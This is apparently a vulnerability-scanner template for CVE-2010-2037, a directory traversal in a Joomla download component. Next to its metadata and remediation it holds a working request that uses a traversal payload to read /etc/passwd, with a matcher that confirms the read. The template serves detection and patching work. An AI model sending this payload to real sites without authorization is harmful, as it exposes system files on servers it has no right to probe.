id: CVE-2010-2037

info:
  name: Joomla! Component Percha Downloads Attach 1.1 - Directory Traversal
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Percha Downloads Attach (com_perchadownloadsattach) component 1.1 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    This vulnerability can lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing for further exploitation.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/34005
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2037
    - http://packetstormsecurity.org/1005-exploits/joomlaperchada-lfi.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-2037
    cwe-id: CWE-22
    epss-score: 0.11077
    epss-percentile: 0.95356
    cpe: cpe:2.3:a:percha:com_perchadownloadsattach:1.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: percha
    product: com_perchadownloadsattach
  tags: cve2010,cve,joomla,edb,packetstorm,lfi,percha,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_perchadownloadsattach&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a00463044022044beb7c5c71cffff0cec36647a75e761426da696f583cdba888e3e92f35d2d23022019f55ab8914e955660c23deb9fd933fa1022a0e401c4e23546670df7a3f05915:922c64590222798bb761d5b6d8e72950